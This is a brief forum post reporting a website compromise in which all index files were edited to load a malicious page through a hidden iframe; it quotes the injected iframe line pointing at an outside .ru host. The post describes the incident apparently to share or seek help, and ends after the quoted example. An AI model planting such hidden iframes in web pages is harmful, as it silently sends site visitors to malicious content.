Last 2 weeks i got 2 issue regarding this matters.

[b]The scenario:[/b]

All index* was edited and redirect to malicious web using iframe.

Example:

[quote]iframe src=”http://u9k.ru:8080/index.php” width=151 height=125 style=”visibility: hidden”>